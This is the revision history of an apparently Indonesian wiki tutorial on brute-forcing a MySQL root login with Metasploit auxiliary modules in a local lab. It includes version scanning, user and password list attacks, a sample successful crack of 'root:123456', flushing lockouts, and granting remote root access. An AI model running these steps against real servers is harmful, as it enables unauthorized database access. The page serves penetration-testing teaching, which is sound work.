Kali Linux: MySQL Login - Revision history

Onnowpurbo: /* Buka Ijin Connection MySQL di Server */

2017-04-04T00:32:33Z

Buka Ijin Connection MySQL di Server

2017-04-04T00:30:41Z

Hack Login

2017-04-04T00:28:38Z

2017-04-04T00:25:00Z

Hack Login

2017-04-04T00:24:26Z

Buka Ijin Connection MySQL di Server

2017-04-04T00:23:55Z

2017-04-03T23:57:49Z

Cek Versi

2016-02-15T02:42:49Z

Aktifkan metasploit

2016-02-15T02:42:05Z

Cek Versi

2016-02-15T02:34:04Z

Referensi

@@ Line 21: / Line 21: @@
   mysql -u root -p123456
-ketik
+ijinkan remote attack .....ketik
   GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.0.%'

← Older revision		Revision as of 00:30, 4 April 2017
Line 63:		Line 63:
	run		run

		+	Jika berhasil akan muncul
		+
		+	[-] 192.168.0.100:3306 - 192.168.0.100:3306 - LOGIN FAILED: root:12345 (Incorrect: Access denied for user 'root'@'192.168.0.146' (using password: YES))
		+	[+] 192.168.0.100:3306 - MYSQL - Success: 'root:123456'
		+	[*] Scanned 1 of 1 hosts (100% complete)
		+	[*] Auxiliary module execution completed

	Jika terlalu banyak error saat mencoba, biasanya MySQL akan mengunci / me-lock akses kita. Kita dapat mem-flush lock yang ada di server MySQL menggunakan perintah		Jika terlalu banyak error saat mencoba, biasanya MySQL akan mengunci / me-lock akses kita. Kita dapat mem-flush lock yang ada di server MySQL menggunakan perintah

← Older revision		Revision as of 00:28, 4 April 2017
Line 16:		Line 16:

	# bind-address = 127.0.0.1		# bind-address = 127.0.0.1
		+
		+	Login ke mysql
		+
		+	mysql -u root -p123456
		+
		+	ketik
		+
		+	GRANT ALL PRIVILEGES ON . TO 'root'@'192.168.0.%'
		+	IDENTIFIED BY '123456'
		+	WITH GRANT OPTION;
		+	FLUSH PRIVILEGES;
		+

	restart		restart

@@ Line 47: / Line 47: @@
   show options
   set PASS_FILE /tmp/passes.txt
-  set RHOSTS 192.168.0.80
+  set RHOSTS 192.168.0.100
   set USER_FILE /tmp/users.txt
   run
@@ Line 57: / Line 57: @@
   mysqladmin -u <username-root> -p<password-root> flush-hosts
   mysqladmin -u root -p123456 flush-hosts
 ==Siapkan passes.txt dan users.txt==

← Older revision		Revision as of 00:23, 4 April 2017
Line 1:		Line 1:
	Sumber: https://www.offensive-security.com/metasploit-unleashed/scanner-mysql-auxiliary-modules/		Sumber: https://www.offensive-security.com/metasploit-unleashed/scanner-mysql-auxiliary-modules/

		+
		+	==Buka Ijin Connection MySQL di Server==
		+
		+	lakukan di server yang akan di serang
		+
		+	/etc/mysql/mysql.conf.d
		+	vi mysqld.cnf
		+
		+	ubah
		+
		+	bind-address = 127.0.0.1
		+
		+	menjadi
		+
		+	# bind-address = 127.0.0.1

	==Aktifkan metasploit==		==Aktifkan metasploit==

@@ Line 13: / Line 13: @@
   use auxiliary/scanner/mysql/mysql_version
   show options
-  set RHOSTS 192.168.0.80
+  set RHOSTS 192.168.0.100
   set THREADS 20
   run
@@ Line 19: / Line 19: @@
 Akan keluar kira-kira
-  [*] 192.168.0.80:3306 is running MySQL 5.5.35-1ubuntu1 (protocol 10)
+  [*] 192.168.0.100:3306 is running MySQL 5.5.35-1ubuntu1 (protocol 10)
   [*] Scanned 1 of 1 hosts (100% complete)
   [*] Auxiliary module execution completed

← Older revision		Revision as of 02:42, 15 February 2016
Line 7:		Line 7:

	msfconsole thankyou		msfconsole thankyou
		+
		+
		+	==Cek Versi==
		+
		+	use auxiliary/scanner/mysql/mysql_version
		+	show options
		+	set RHOSTS 192.168.0.80
		+	set THREADS 20
		+	run
		+
		+	Akan keluar kira-kira
		+
		+	[*] 192.168.0.80:3306 is running MySQL 5.5.35-1ubuntu1 (protocol 10)
		+	[*] Scanned 1 of 1 hosts (100% complete)
		+	[*] Auxiliary module execution completed

	==Hack Login==		==Hack Login==

← Older revision		Revision as of 02:42, 15 February 2016
Line 24:		Line 24:
	mysqladmin -u root -p123456 flush-hosts		mysqladmin -u root -p123456 flush-hosts

−	~~==Cek Versi==~~

−	~~use auxiliary/scanner/mysql/mysql_version~~
−	~~show options~~
−	~~set RHOSTS 192.168.0.10-254~~
−	~~set THREADS 20~~
−	~~run~~

	==Siapkan passes.txt dan users.txt==		==Siapkan passes.txt dan users.txt==

← Older revision		Revision as of 02:34, 15 February 2016
Line 60:		Line 60:

	* https://www.offensive-security.com/metasploit-unleashed/scanner-mysql-auxiliary-modules/		* https://www.offensive-security.com/metasploit-unleashed/scanner-mysql-auxiliary-modules/
		+	* https://hakin9.org/how-to-use-sqlploit/